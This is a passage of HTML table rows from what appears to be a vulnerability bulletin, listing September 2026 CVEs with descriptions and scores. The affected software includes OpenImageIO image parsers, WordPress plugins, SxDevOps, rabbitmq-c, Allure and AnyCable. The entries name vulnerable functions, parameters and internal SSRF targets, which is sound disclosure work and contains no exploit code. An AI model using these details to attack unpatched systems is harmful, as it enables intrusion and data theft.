&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92356&quot; target=&quot;_blank&quot;&gt;CVE-2026-92356&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;a2ui-project--a2ui&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in a2ui-project a2ui 0.8/0.9/1.0. Impacted is an unknown function of the file model-processor.ts of the component Model Processor. The manipulation of the argument current[segment] leads to information disclosure. The attack may be initiated remotely. The identifier of the patch is 1b3bff234661ce922cbc3771be642b23ec9fd0fa. To fix this issue, it is recommended to deploy a patch.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92357&quot; target=&quot;_blank&quot;&gt;CVE-2026-92357&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.20.0, 3.1.15.0, and 3.2.0.3-beta1, A crafted fits stream containing consecutive 2880-byte header blocks without the mandatory end keyword makes fitsinput::read_fits_header() call itself without a depth bound. repeated recursive parsing exhausts the application stack, resulting in denial of service. The affected implementation is identified by src/fits.imageio/fitsinput.cpp, FitsInput::read_fits_header(), END keyword, and 2880-byte FITS header blocks, which define the relevant source path, functions, state, and trigger. This issue is fixed in versions 3.0.20.0, 3.1.15.0, and 3.2.0.3-beta1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59156&quot; target=&quot;_blank&quot;&gt;CVE-2026-59156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.20.0, 3.1.15.0, and 3.2.0.3-beta1, A crafted cineon file can supply a numberofelements value greater than the format maximum of eight. cineoninput::open() uses that unchecked value as the loop bound while filling the fixed strings[8] array, writing pointers beyond the stack buffer and into adjacent state, resulting in memory corruption and denial of service. The affected implementation is identified by src/cineon.imageio/cineoninput.cpp, CineonInput::open(), numberOfElements, and strings[8], which define the relevant source path, functions, state, and trigger. This issue is fixed in versions 3.0.20.0, 3.1.15.0, and 3.2.0.3-beta1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59181&quot; target=&quot;_blank&quot;&gt;CVE-2026-59181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.20.0, 3.1.15.0, and 3.2.0.3-beta1, An uncompressed 16-bit iff image with a z-buffer makes iffinput::readimg() allocate a temporary scanline from m_header.rgba_count but copy from it using m_header.pixel_bytes(), whose stride also includes z-buffer bytes. the oversized memcpy reads beyond the temporary heap buffer and copies adjacent memory into the output image, resulting in a crash or disclosure of adjacent heap data. The affected implementation is identified by src/iff.imageio/iffinput.cpp, IffInput::readimg(), m_header.rgba_count, and m_header.pixel_bytes(), which define the relevant source path, functions, state, and trigger. This issue is fixed in versions 3.0.20.0, 3.1.15.0, and 3.2.0.3-beta1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59956&quot; target=&quot;_blank&quot;&gt;CVE-2026-59956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to versions 3.0.16.0 and 3.1.11.0, processing a crafted BMP file through oiiotool or an application linked to OpenImageIO can reach BMP palette handling in src/bmp.imageio/bmpinput.cpp with an empty color table. BmpInput::read_native_scanline then performs an invalid palette read while decoding an RLE-compressed scanline, causing a process crash and denial of service. This issue is fixed in versions 3.0.16.0 and 3.1.11.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50291&quot; target=&quot;_blank&quot;&gt;CVE-2026-50291&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1, An indexed psd with transparency metadata creates fewer stored channel_buffers than the spec.nchannels value advertised by the rawcolor path. when oiio:rawcolor or psd:rawdata is enabled, psdinput::read_native_scanline() passes spec.nchannels to psdinput::interleave_row(), which indexes beyond channel_buffers, resulting in a heap out-of-bounds read and process crash. The affected implementation is identified by src/psd.imageio/psdinput.cpp, PSDInput::read_native_scanline(), PSDInput::interleave_row(), oiio:RawColor, psd:RawData, channel_buffers, and spec.nchannels, which define the relevant source path, functions, state, and trigger. This issue is fixed in versions 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63420&quot; target=&quot;_blank&quot;&gt;CVE-2026-63420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1, A crafted psd with an invalid color_mode bypasses normal validation when oiio:rawcolor or psd:rawdata is enabled. psdinput::setup() then uses the attacker-controlled value to index fixed color-mode tables, causing a global out-of-bounds read and potentially a bogus allocation, resulting in denial of service. The affected implementation is identified by src/psd.imageio/psdinput.cpp, PSDInput::validate_header(), PSDInput::setup(), oiio:RawColor, psd:RawData, color_mode, and mode_channel_count, which define the relevant source path, functions, state, and trigger. This issue is fixed in versions 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63635&quot; target=&quot;_blank&quot;&gt;CVE-2026-63635&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1, A truncated tga can leave a pending gif frame that is processed during output close. gifsplitpalette() computes numpixels multiplied by the palette partition width in signed 32-bit arithmetic; a large image overflows that intermediate, corrupts subpixelsa, and drives an out-of-bounds read while building the gif palette, resulting in a process crash and denial of service. The affected implementation is identified by src/gif.imageio/gif.h, GifSplitPalette(), numPixels, subPixelsA, GIFOutput, and truncated TGA input, which define the relevant source path, functions, state, and trigger. This issue is fixed in versions 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65969&quot; target=&quot;_blank&quot;&gt;CVE-2026-65969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.1.16.0, a crafted ZIP-compressed TIFF processed with TIFF multithreading enabled can make TIFFInput::read_native_scanlines() return through an error path while asynchronous strip-decompression work remains queued. Because task_set is declared before ok and compressed_scratch, those captured objects are destroyed before the task-set destructor waits, allowing worker tasks to use stale stack and heap storage, resulting in a use-after-scope crash and denial of service. The affected implementation is identified by src/tiff.imageio/tiffinput.cpp, TIFFInput::read_native_scanlines(), task_set, ok, compressed_scratch, and uncompress_one_strip(), which define the relevant source path, functions, state, and trigger. This issue is fixed in 3.1.16.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65970&quot; target=&quot;_blank&quot;&gt;CVE-2026-65970&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adenion--Blog2Social&lt;/td&gt;
&lt;td&gt;Adenion Blog2Social plugin for WordPress before 9.1.0 allows low-privileged users to modify the scheduled post records of other users. The b2s_calendar_move_post AJAX handler in includes/Ajax/Post.php issues an UPDATE against the b2s_posts table using only the attacker-supplied b2s_id primary key with no blog_user_id ownership constraint, allowing any user with the edit_posts capability to reschedule, suppress, or alter the publication state of any other user&#039;s scheduled social media post.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89031&quot; target=&quot;_blank&quot;&gt;CVE-2026-89031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adenion--Blog2Social&lt;/td&gt;
&lt;td&gt;Adenion Blog2Social plugin for WordPress before 9.1.0 allows low-privileged users to enumerate WordPress user accounts. The b2s_get_select_mandant_user AJAX handler in includes/Ajax/Get.php resolves arbitrary user IDs supplied in the owner parameter to display names without verifying that the caller is authorized to read user account data, allowing any user with the edit_posts capability to map WordPress user IDs to display names and confirm account existence for arbitrary IDs.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89029&quot; target=&quot;_blank&quot;&gt;CVE-2026-89029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adenion--Blog2Social&lt;/td&gt;
&lt;td&gt;Adenion Blog2Social plugin for WordPress before 9.1.0 exposes the email addresses of all registered WordPress users to low-privileged accounts. The b2s_search_user AJAX handler in includes/Ajax/Get.php invokes B2S_Tools::searchUser() in includes/Tools.php, which returns the email address of every matching user without restricting access to callers holding the list_users capability, allowing any user with the edit_posts capability to retrieve user email addresses including those of administrators.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89030&quot; target=&quot;_blank&quot;&gt;CVE-2026-89030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AdithyaYelloju--Restaurant Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in AdithyaYelloju Restaurant Management System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This affects the function mysqli_query of the file admin/add_table.php. The manipulation of the argument table/members/price results in sql injection. It is possible to launch the attack remotely. The exploit has been made public and could be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94042&quot; target=&quot;_blank&quot;&gt;CVE-2026-94042&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AdithyaYelloju--Restaurant-Management-System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. Affected by this issue is some unknown functionality of the file admin/add_menu.php. The manipulation of the argument item/price/image/type leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94041&quot; target=&quot;_blank&quot;&gt;CVE-2026-94041&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84397&quot; target=&quot;_blank&quot;&gt;CVE-2026-84397&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ag-ui-protocol--ag-ui&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in ag-ui-protocol ag-ui 0.3.0. Affected is the function urllib.request.urlopen of the file integrations/aws-strands/python/src/ag_ui_strands/utils.py of the component Multimodal Content. The manipulation of the argument Value results in server-side request forgery. The attack can be executed remotely. The patch is identified as bf0c34df34cbb4b1992bc37c9bfffe6dd54bb189. It is advisable to implement a patch to correct this issue.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92184&quot; target=&quot;_blank&quot;&gt;CVE-2026-92184&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ag-ui-protocol--ag-ui&lt;/td&gt;
&lt;td&gt;A weakness has been identified in ag-ui-protocol ag-ui 1.0. The impacted element is the function prepareRunAgentInput of the file agent/agent.ts of the component Event Application Layer. This manipulation of the argument TEXT_MESSAGE_START causes origin validation error. Remote exploitation of the attack is possible. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92360&quot; target=&quot;_blank&quot;&gt;CVE-2026-92360&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ag-ui-protocol--ag-ui&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in ag-ui-protocol ag-ui 1.0. This affects an unknown function of the file sdks/community/go/pkg/client/sse/client.go of the component SSE Client. Such manipulation leads to resource consumption. The attack can be executed remotely. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92361&quot; target=&quot;_blank&quot;&gt;CVE-2026-92361&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ag-ui-protocol--ag-ui&lt;/td&gt;
&lt;td&gt;A flaw has been found in ag-ui-protocol ag-ui 1.0. Affected is an unknown function of the file src/stream/sse_parser.cpp of the component JSON Parser. Executing a manipulation can lead to resource consumption. The attack may be performed from remote. This patch is called ab6e0bc298996caac2b4b0b3ec0bd8d32a15a186. Applying a patch is advised to resolve this issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92363&quot; target=&quot;_blank&quot;&gt;CVE-2026-92363&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;airani--Auto Upload Images&lt;/td&gt;
&lt;td&gt;The Auto Upload Images plugin for WordPress is vulnerable to Limited Server-Side Request Forgery in all versions up to, and including, 3.3.2 via the downloadImage function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application. The plugin uses wp_remote_get() rather than wp_safe_remote_get(), and the validate() method only rejects URLs whose host matches the site&#039;s own hostname, failing to block requests to private, loopback, or link-local addresses (e.g., 127.0.0.1, 10.0.0.0/8, 169.254.169.254). Attackers can trigger this by embedding a crafted &amp;lt;img&amp;gt; tag with a src attribute pointing to internal network hosts in post content and submitting it for processing.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12106&quot; target=&quot;_blank&quot;&gt;CVE-2026-12106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aiyiyi121--SxDevOps&lt;/td&gt;
&lt;td&gt;A flaw has been found in aiyiyi121 SxDevOps 1.0/1.1. Affected is the function subprocess.Popen of the file backend/aiops/services.py of the component MCP STDIO Server Management. This manipulation of the argument endpoint_or_command causes command injection. The attack may be initiated remotely. Patch name: 2b4bf8585c3e731e7a8af30801ea46680bc783f9. To fix this issue, it is recommended to deploy a patch. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93965&quot; target=&quot;_blank&quot;&gt;CVE-2026-93965&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aiyiyi121--SxDevOps&lt;/td&gt;
&lt;td&gt;A vulnerability was found in aiyiyi121 SxDevOps 1.0/1.1. Affected by this issue is the function generate_host_task of the file backend/aiops/services.py of the component Command Handler. Performing a manipulation of the argument command results in command injection. Remote exploitation of the attack is possible. The patch is named 2b4bf8585c3e731e7a8af30801ea46680bc783f9. Applying a patch is the recommended action to fix this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93967&quot; target=&quot;_blank&quot;&gt;CVE-2026-93967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aiyiyi121--SxDevOps&lt;/td&gt;
&lt;td&gt;A weakness has been identified in aiyiyi121 SxDevOps 1.0/1.1. Impacted is an unknown function of the file backend/sxdevops/settings.py. This manipulation causes information disclosure. It is possible to initiate the attack remotely. Patch name: 2b4bf8585c3e731e7a8af30801ea46680bc783f9. It is suggested to install a patch to address this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93971&quot; target=&quot;_blank&quot;&gt;CVE-2026-93971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aiyiyi121--SxDevOps&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in aiyiyi121 SxDevOps 1.0/1.1. Affected by this vulnerability is the function paramiko.SSHClient.exec_command of the file backend/ops/host_tasks.py of the component TASK_RUN_COMMAND. Such manipulation of the argument command leads to command injection. The attack may be launched remotely. The name of the patch is 2b4bf8585c3e731e7a8af30801ea46680bc783f9. It is advisable to implement a patch to correct this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93966&quot; target=&quot;_blank&quot;&gt;CVE-2026-93966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;alanxz--rabbitmq-c&lt;/td&gt;
&lt;td&gt;rabbitmq-c is a C-language AMQP client library for RabbitMQ. Prior to 0.16.0, a malicious AMQP server can send an undersized HEADER or METHOD frame during client login and cause unsigned size_t underflow in amqp_handle_input() in librabbitmq/amqp_connection.c. The parser subtracts HEADER_SIZE, fixed per-frame fields, and FOOTER_SIZE from state-&amp;gt;target_size without first checking the minimum frame length. The wrapped encoded.len value is passed through amqp_decode_properties() to amqp_decode_table_internal(), where it defeats bounds checks and causes an out-of-bounds read and process crash. An on-path attacker can also trigger the issue when AMQP traffic is not protected by TLS with certificate validation. The demonstrated impact is denial of service, with no reliable memory disclosure or code execution shown. This issue is fixed in version 0.16.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44235&quot; target=&quot;_blank&quot;&gt;CVE-2026-44235&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;All Bootstrap Blocks--All Bootstrap Blocks&lt;/td&gt;
&lt;td&gt;The All Bootstrap Blocks WordPress plugin through 1.3.31 does not validate a block attribute before using it to build a filesystem path that is included at render time, allowing users with contributor-level access and above to include arbitrary local files, disclose their contents, and execute PHP where a local file containing PHP code can be reached. Exploitation requires the plugin&#039;s Lightspeed subsystem to be enabled, which is not the default.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88994&quot; target=&quot;_blank&quot;&gt;CVE-2026-88994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;allure-framework--allure2&lt;/td&gt;
&lt;td&gt;Allure 2 is the version 2.x branch of Allure Report, a multi-language test reporting tool. Prior to 2.39.0, the HTTP server started by allure serve and allure open uses URI.getPath() in Commands.setUpServer() in allure-commandline/src/main/java/io/qameta/allure/Commands.java and passes the percent-decoded request path to reportDirectory.resolve() without normalizing the result or confirming that it remains inside that directory. An unauthenticated client that can reach the server can submit parent-directory segments, including percent-encoded segments, and cause serveFile() to return any regular file readable by the Allure process. The server binds to localhost by default, but the --host option can expose it to other systems, and local users, adjacent containers, or browser-origin attacks may reach a local listener. This can disclose credentials, configuration, source code, build secrets, and other CI/CD data. This issue is fixed in version 2.39.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55846&quot; target=&quot;_blank&quot;&gt;CVE-2026-55846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;allure-framework--allure2&lt;/td&gt;
&lt;td&gt;Allure 2 is the version 2.x branch of Allure Report, a multi-language test reporting tool. Prior to 2.39.0, the ansi.js helper at allure-generator/src/main/javascript/helpers/ansi.js passes attacker-influenced statusMessage and statusTrace values through AnsiToHtml without HTML escaping and wraps the result in Handlebars SafeString, disabling template auto-escaping in allure-generator/src/main/javascript/blocks/status-details/status-details.hbs. JunitXmlPlugin.java can populate these fields directly from crafted JUnit XML failure messages and traces, and equivalent input flows exist in the TRX, xUnit XML, xctest, and Allure1 and Allure2 plugins. When a user views the affected status details, unescaped markup executes arbitrary JavaScript in the report origin, which can expose report data and compromise sessions associated with that origin. This is an incomplete-fix case because PR 3271 escaped link helpers but did not address the ANSI helper. This issue is fixed in version 2.39.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55847&quot; target=&quot;_blank&quot;&gt;CVE-2026-55847&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;anycable--anycable&lt;/td&gt;
&lt;td&gt;AnyCable is a realtime server for reliable two-way communication that supports any backend. Prior to 1.6.15, the Pusher-compatible REST API in pusher/http.go includes the caller-supplied body_md5 value in the HMAC input but does not calculate the digest of the received request body or compare it with the signed value. An attacker who obtains a legitimate signed POST request can retain its query parameters and auth_signature while replacing the body, causing Handler and handleEvents to accept and broadcast attacker-selected event content. The absence of an auth_timestamp freshness check also allows the captured signature to be replayed indefinitely. This can forge server-side events, modify application state, or deliver attacker-controlled messages to WebSocket clients within the signed request&#039;s application context. This issue is fixed in version 1.6.15.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63405&quot; target=&quot;_blank&quot;&gt;CVE-2026-63405&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;anycable--anycable&lt;/td&gt;
&lt;td&gt;AnyCable is a realtime server for reliable two-way communication that supports any backend. Prior to 1.6.15, the telemetry subsystem in telemetry/config.go enables tracking with a hardcoded public authToken, while clusterFingerprint in telemetry/telemetry.go reads the full configuration file and raw os.Args returned by anycableCLIArgs, including values supplied through --secret, --jwt_secret, and --http_rpc_secret. These inputs are passed to generateDigest, where sha256.New produces the hexadecimal fingerprint that is sent as telemetry. The available source therefore does not show raw credentials leaving the process or establish the advisory&#039;s claimed confidentiality loss, although the stable fingerprint is derived from secret-bearing configuration and the default telemetry client uses publicly known authentication material. This issue is fixed in version 1.6.15.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63406&quot; target=&quot;_blank&quot;&gt;CVE-2026-63406&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;appmysite--AppMySite WordPress &amp;amp; WooCommerce Mobile App Builder (No-Code Android &amp;amp; iOS App Maker)&lt;/td&gt;
&lt;td&gt;The AppMySite - WordPress &amp;amp; WooCommerce Mobile App Builder (No-Code Android &amp;amp; iOS App Maker) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via save_ams_license_key AJAX Handler in all versions up to, and including, 3.15.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The save_ams_license_key AJAX handler performs no capability check and no nonce verification, meaning any authenticated user with Subscriber-level access or above can invoke it to store the malicious payload.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13770&quot; target=&quot;_blank&quot;&gt;CVE-2026-13770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Appointment Hour Booking--Appointment Hour Booking&lt;/td&gt;
